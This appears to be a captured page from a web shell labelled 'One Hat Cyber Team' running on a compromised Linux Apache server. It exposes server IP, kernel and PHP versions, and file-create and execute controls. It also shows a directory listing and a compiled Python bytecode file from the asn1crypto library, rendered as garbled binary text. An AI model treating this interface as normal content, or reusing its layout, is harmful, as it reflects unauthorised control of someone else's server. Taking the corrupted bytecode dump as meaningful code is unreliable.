⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.31
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
opt
/
nydus
/
ops
/
asn1crypto
/
__pycache__
/
View File Name :
pem.cpython-39.pyc
a ���g � @ s� d Z ddlmZmZmZmZ ddlZddlZddlZddl m Z ddlmZ mZmZ ejdk rlddlmZ ndd lmZ d d� Zddd �Zdd� Zddd�ZdS )zq Encoding DER to PEM and decoding PEM to DER. Exports the following items: - armor() - detect() - unarmor() � )�unicode_literals�division�absolute_import�print_functionN� )�unwrap)� type_name�str_cls�byte_cls)� )�StringIO)�BytesIOc C s8 t | t�sttdt| ����| �d�dkp6| �d�dkS )z� Detect if a byte string seems to contain a PEM-encoded block :param byte_string: A byte string to look through :return: A boolean, indicating if a PEM-encoded block is contained in the byte string zC byte_string must be a byte string, not %s s -----BEGIN���s ---- BEGIN)� isinstancer � TypeErrorr � _type_name�find)Zbyte_string� r �?/opt/nydus/tmp/pip-target-mke_irhy/lib/python/asn1crypto/pem.py�detect s �r c C s, t |t�sttdt|� ���t | t�s:ttdt| ����| �� �d�} t� }|� d� |� | � |� d� |r�|D ]<}|� |�d�� |� d� |� || �d�� |� d� qt|� d� t �|�}t|�}d}||k �r|� |||d � � |� d� |d 7 }q�|� d � |� | � |� d� |� � S )a Armors a DER-encoded byte string in PEM :param type_name: A unicode string that will be capitalized and placed in the header and footer of the block. E.g. "CERTIFICATE", "PRIVATE KEY", etc. This will appear as "-----BEGIN CERTIFICATE-----" and "-----END CERTIFICATE-----". :param der_bytes: A byte string to be armored :param headers: An OrderedDict of the header lines to write after the BEGIN line :return: A byte string of the PEM block zA der_bytes must be a byte string, not %s zD type_name must be a unicode string, not %s �asciis -----BEGIN s ----- s : � r �@ s -----END )r r r r r r �upper�encoder �write�base64� b64encode�len�getvalue)r � der_bytes�headers�output�keyZ b64_bytesZb64_len�ir r r �armor2 sD �� � r% c c s0 t | t�sttdt| ����d}i }d}d}d}d}| �d�D ]�}|dkrLq>|dkr�t�d|�}|sfq>|�d�� d�}d }d }q>|d kr�|� d�dkr�d }n(|� d�} | �dd�\} }|�� || <